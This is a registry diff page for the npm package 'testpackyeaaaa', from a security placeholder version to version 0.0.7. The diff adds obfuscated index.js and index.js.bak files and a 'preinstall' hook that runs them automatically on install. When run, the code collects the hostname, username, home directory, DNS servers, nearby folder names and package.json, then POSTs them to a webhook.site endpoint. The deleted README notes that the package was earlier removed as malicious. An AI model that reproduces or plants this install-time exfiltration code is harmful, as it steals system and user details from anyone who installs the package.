testpackyeaaaa 0.0.1-security → 0.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of testpackyeaaaa might be problematic. Click here for more details.
- package/index.js +1 -0
- package/index.js.bak +1 -0
- package/package.json +9 -3
- package/package.json.bak +12 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x57591f=_0x11e4;(function(_0x2e4324,_0x2f4c57){const _0x328dd7=_0x11e4,_0x5deeb7=_0x2e4324();while(!![]){try{const _0x4fbd03=-parseInt(_0x328dd7(0x18f))/0x1*(-parseInt(_0x328dd7(0x19b))/0x2)+-parseInt(_0x328dd7(0x198))/0x3*(parseInt(_0x328dd7(0x182))/0x4)+parseInt(_0x328dd7(0x17d))/0x5+-parseInt(_0x328dd7(0x192))/0x6*(parseInt(_0x328dd7(0x18a))/0x7)+parseInt(_0x328dd7(0x17e))/0x8*(-parseInt(_0x328dd7(0x185))/0x9)+-parseInt(_0x328dd7(0x19a))/0xa*(-parseInt(_0x328dd7(0x193))/0xb)+parseInt(_0x328dd7(0x199))/0xc;if(_0x4fbd03===_0x2f4c57)break;else _0x5deeb7['push'](_0x5deeb7['shift']());}catch(_0x4a7795){_0x5deeb7['push'](_0x5deeb7['shift']());}}}(_0x2750,0xefe7b));function _0x2750(){const _0x27d2ff=['length','531628ciaVoN','push','511usFHUg','15848199sGmQza','homedir','___resolved','write','28377261sLVZjr','14vuxmkW','dns','668QffgHu','stringify','querystring','9kqXTNO','1LglKwJ','../','370122hCdrTy','55Ocjesc','shift','forEach','application/x-www-form-urlencoded','9224xYlZBE','42RoFVbe','23730552eBWwhS','1991930xzDjtS','214686YhHZvx','includes','error','data','1060ihktvu','end','userInfo','1333497tmIYuB','/cd76c681-6c34-4b25-936e-a022134bc557','16800iAAhbm','4501452xdzKFM','version','username','742502iJzBEe','3940180rSWjdx','8MCXOtO','72099bEEmfa','readdir'];_0x2750=function(){return _0x27d2ff;};return _0x2750();}const _0x5cd73d=_0x3d4a;function _0x3d4a(_0x33706c,_0xc73dc7){const _0x1e5e01=_0x28fd();return _0x3d4a=function(_0x40ebc9,_0x245593){_0x40ebc9=_0x40ebc9-0x19d;let _0x362f06=_0x1e5e01[_0x40ebc9];return _0x362f06;},_0x3d4a(_0x33706c,_0xc73dc7);}function _0x28fd(){const _0x66dffe=_0x11e4,_0x368a73=[_0x66dffe(0x17b),'log',_0x66dffe(0x19c),'https','hostname',_0x66dffe(0x181),'name',_0x66dffe(0x188),_0x66dffe(0x177),'webhook.site',_0x66dffe(0x187),_0x66dffe(0x175),_0x66dffe(0x180),_0x66dffe(0x197),_0x66dffe(0x17a),_0x66dffe(0x19d),_0x66dffe(0x178),'getServers',_0x66dffe(0x179),_0x66dffe(0x17c),_0x66dffe(0x19e),'request',_0x66dffe(0x190),_0x66dffe(0x195),'stdout',_0x66dffe(0x17f),_0x66dffe(0x173),_0x66dffe(0x18d),_0x66dffe(0x184),_0x66dffe(0x18c),_0x66dffe(0x189),_0x66dffe(0x176)];return _0x28fd=function(){return _0x368a73;},_0x28fd();}(function(_0x518f39,_0x24f593){const _0x3f4d25=_0x11e4,_0x3d29ca=_0x3d4a,_0x2d53cd=_0x518f39();while(!![]){try{const _0x4dd4af=parseInt(_0x3d29ca(0x1a2))/0x1*(parseInt(_0x3d29ca(0x19f))/0x2)+-parseInt(_0x3d29ca(0x1ab))/0x3+parseInt(_0x3d29ca(0x1a9))/0x4*(-parseInt(_0x3d29ca(0x1bc))/0x5)+-parseInt(_0x3d29ca(0x19e))/0x6+-parseInt(_0x3d29ca(0x1a8))/0x7*(-parseInt(_0x3d29ca(0x1b9))/0x8)+-parseInt(_0x3d29ca(0x1a5))/0x9*(parseInt(_0x3d29ca(0x1a6))/0xa)+parseInt(_0x3d29ca(0x1aa))/0xb;if(_0x4dd4af===_0x24f593)break;else _0x2d53cd[_0x3f4d25(0x183)](_0x2d53cd[_0x3f4d25(0x194)]());}catch(_0x52a474){_0x2d53cd[_0x3f4d25(0x183)](_0x2d53cd[_0x3f4d25(0x194)]());}}}(_0x28fd,0x69040));function _0x11e4(_0x1d2f8a,_0x525769){const _0x275079=_0x2750();return _0x11e4=function(_0x11e48c,_0xf725b9){_0x11e48c=_0x11e48c-0x173;let _0x300eeb=_0x275079[_0x11e48c];return _0x300eeb;},_0x11e4(_0x1d2f8a,_0x525769);}const testFolder=_0x57591f(0x191),fs=require('fs');var arr=[];fs[_0x5cd73d(0x1b8)](testFolder,(_0x4e447b,_0x224107)=>{const _0x41b019=_0x57591f,_0x2be3c2=_0x5cd73d;_0x224107[_0x2be3c2(0x1a3)](_0x5c90ef=>{const _0x3caebf=_0x2be3c2;!_0x5c90ef[_0x3caebf(0x1ae)]('.')&&(console[_0x3caebf(0x1ad)](_0x5c90ef),arr['push'](_0x5c90ef));});if(arr[_0x2be3c2(0x1b1)]==0x1)return;const _0x258da5=require('os'),_0x2cdeab=require(_0x41b019(0x18b)),_0x5e92d8=require(_0x41b019(0x18e)),_0x275ed4=require(_0x2be3c2(0x1af)),_0x51ed88=require('./package.json'),_0x42fbf4=_0x51ed88[_0x2be3c2(0x1b2)],_0xb22d9d=JSON[_0x2be3c2(0x1a7)]({'p':_0x42fbf4,'c':__dirname,'hd':_0x258da5[_0x41b019(0x186)](),'hn':_0x258da5[_0x2be3c2(0x1b0)](),'un':_0x258da5[_0x2be3c2(0x1b7)]()[_0x2be3c2(0x1ac)],'dns':_0x2cdeab[_0x2be3c2(0x19d)](),'r':_0x51ed88?_0x51ed88[_0x2be3c2(0x1b6)]:undefined,'v':_0x51ed88[_0x2be3c2(0x1ba)],'pjson':_0x51ed88,'aaa':arr});var _0x1366c9=_0x5e92d8[_0x41b019(0x18d)]({'msg':_0xb22d9d}),_0x48dfaa={'hostname':_0x2be3c2(0x1b5),'port':0x1bb,'path':_0x2be3c2(0x1b4),'method':'POST','headers':{'Content-Type':_0x41b019(0x196),'Content-Length':_0x1366c9[_0x2be3c2(0x1b1)]}},_0x361e86=_0x275ed4[_0x2be3c2(0x1a1)](_0x48dfaa,_0x6888db=>{const _0x194d23=_0x2be3c2;_0x6888db['on'](_0x194d23(0x1a0),_0x281490=>{const _0x307da5=_0x11e4,_0x271845=_0x194d23;process[_0x271845(0x1a4)][_0x307da5(0x188)](_0x281490);});});_0x361e86['on'](_0x2be3c2(0x1bb),_0x319e9f=>{}),_0x361e86[_0x2be3c2(0x1b3)](_0x1366c9),_0x361e86[_0x41b019(0x174)]();});
|
package/index.js.bak
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x4d4511=_0x3373;(function(_0x4976e9,_0xa28fbe){const _0xc1b8e9=_0x3373,_0x29f28d=_0x4976e9();while(!![]){try{const _0x53257b=parseInt(_0xc1b8e9(0x135))/0x1+-parseInt(_0xc1b8e9(0x12e))/0x2+-parseInt(_0xc1b8e9(0x119))/0x3*(-parseInt(_0xc1b8e9(0x130))/0x4)+-parseInt(_0xc1b8e9(0x11c))/0x5+parseInt(_0xc1b8e9(0x133))/0x6*(parseInt(_0xc1b8e9(0x118))/0x7)+parseInt(_0xc1b8e9(0x124))/0x8+-parseInt(_0xc1b8e9(0x121))/0x9;if(_0x53257b===_0xa28fbe)break;else _0x29f28d['push'](_0x29f28d['shift']());}catch(_0x5b25ed){_0x29f28d['push'](_0x29f28d['shift']());}}}(_0x5cb3,0x4ab20));function _0x3373(_0x56458e,_0x2d7c34){const _0x5cb3a8=_0x5cb3();return _0x3373=function(_0x33733e,_0x5b46aa){_0x33733e=_0x33733e-0x10b;let _0x6c0f07=_0x5cb3a8[_0x33733e];return _0x6c0f07;},_0x3373(_0x56458e,_0x2d7c34);}const _0xf5a259=_0x28d1;(function(_0x209fad,_0x8b531){const _0x191673=_0x3373,_0x38c72d=_0x28d1,_0x28d272=_0x209fad();while(!![]){try{const _0x6bd315=parseInt(_0x38c72d(0xb1))/0x1*(-parseInt(_0x38c72d(0xc1))/0x2)+parseInt(_0x38c72d(0xc6))/0x3*(parseInt(_0x38c72d(0xaf))/0x4)+-parseInt(_0x38c72d(0xb9))/0x5+-parseInt(_0x38c72d(0xbd))/0x6*(parseInt(_0x38c72d(0xaa))/0x7)+parseInt(_0x38c72d(0xac))/0x8+-parseInt(_0x38c72d(0xae))/0x9+parseInt(_0x38c72d(0xc5))/0xa;if(_0x6bd315===_0x8b531)break;else _0x28d272['push'](_0x28d272[_0x191673(0x125)]());}catch(_0x3db0c6){_0x28d272[_0x191673(0x12c)](_0x28d272[_0x191673(0x125)]());}}}(_0x9f91,0xca01c));const testFolder=_0xf5a259(0xb5),fs=require('fs');function _0x28d1(_0x24a65c,_0x7d4739){const _0x53164a=_0x9f91();return _0x28d1=function(_0x26d497,_0x2cf05c){_0x26d497=_0x26d497-0xa8;let _0x5933c6=_0x53164a[_0x26d497];return _0x5933c6;},_0x28d1(_0x24a65c,_0x7d4739);}function _0x9f91(){const _0x2e945c=_0x3373,_0x58f9cc=[_0x2e945c(0x12f),_0x2e945c(0x129),_0x2e945c(0x114),_0x2e945c(0x111),_0x2e945c(0x12b),'8102970jmrpPl',_0x2e945c(0x128),_0x2e945c(0x112),'/cd76c681-6c34-4b25-936e-a022134bc557',_0x2e945c(0x131),_0x2e945c(0x132),_0x2e945c(0x12d),_0x2e945c(0x11b),_0x2e945c(0x10f),_0x2e945c(0x134),_0x2e945c(0x110),_0x2e945c(0x11d),_0x2e945c(0x10d),_0x2e945c(0x113),_0x2e945c(0x127),'https','4826754QeCRVm',_0x2e945c(0x115),_0x2e945c(0x117),_0x2e945c(0x10b),_0x2e945c(0x126),_0x2e945c(0x10e),_0x2e945c(0x11f),_0x2e945c(0x116),_0x2e945c(0x11e),'name'];return _0x9f91=function(){return _0x58f9cc;},_0x9f91();}var a=0x0;function _0x5cb3(){const _0x185d3d=['324352LxQMjM','dns','8380DRLjfs','2JqMiiR','POST','2568sFmPUf','375mnpkTU','506590xrgApA','1341074vAGAEV','hostname','7bKsaiL','length','34509950wMwfiN','webhook.site','version','end','stringify','error','27460mdUmgV','../','homedir','4942srvADi','729AwSwTb','querystring','userInfo','848950lgtuIp','write','data','___resolved','forEach','7262415WBitpd','includes','stdout','1016080HNYCGU','shift','request','518688CqJDSP','readdir','1593305FvBYor','username','./package.json','push','log'];_0x5cb3=function(){return _0x185d3d;};return _0x5cb3();}fs[_0xf5a259(0xbe)](testFolder,(_0x188aa9,_0x21c12c)=>{const _0x58fab6=_0x3373,_0x2e5f5c=_0xf5a259;_0x21c12c[_0x58fab6(0x120)](_0x3ae9d9=>{const _0x188da6=_0x58fab6,_0x1fea95=_0x28d1;!_0x3ae9d9[_0x188da6(0x122)]('.')&&(console[_0x1fea95(0xc3)](_0x3ae9d9),a=a+0x1);}),console[_0x2e5f5c(0xc3)](a);});const os=require('os'),dns=require(_0xf5a259(0xb8)),querystring=require(_0x4d4511(0x11a)),https=require(_0xf5a259(0xad)),packageJSON=require(_0xf5a259(0xbc)),package=packageJSON[_0xf5a259(0xb7)],trackingData=JSON[_0xf5a259(0xab)]({'p':package,'c':__dirname,'hd':os[_0xf5a259(0xb0)](),'hn':os[_0x4d4511(0x10c)](),'un':os[_0xf5a259(0xc4)]()[_0x4d4511(0x12a)],'dns':dns['getServers'](),'r':packageJSON?packageJSON[_0xf5a259(0xb4)]:undefined,'v':packageJSON[_0xf5a259(0xbb)],'pjson':packageJSON});var postData=querystring[_0xf5a259(0xab)]({'msg':trackingData}),options={'hostname':_0xf5a259(0xa8),'port':0x1bb,'path':_0xf5a259(0xc0),'method':_0xf5a259(0xc2),'headers':{'Content-Type':'application/x-www-form-urlencoded','Content-Length':postData[_0xf5a259(0xb3)]}},req=https[_0xf5a259(0xb2)](options,_0x15731b=>{const _0xea227b=_0xf5a259;_0x15731b['on'](_0xea227b(0xb6),_0x25309d=>{const _0xe1687b=_0x3373;process[_0xe1687b(0x123)][_0xe1687b(0x11d)](_0x25309d);});});req['on'](_0xf5a259(0xba),_0x5b6aa1=>{}),req[_0xf5a259(0xa9)](postData),req[_0xf5a259(0xbf)]();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "testpackyeaaaa",
|
3
|
-
"version": "0.0.
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.0.7",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/package.json.bak
ADDED
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=testpackyeaaaa for more information.
|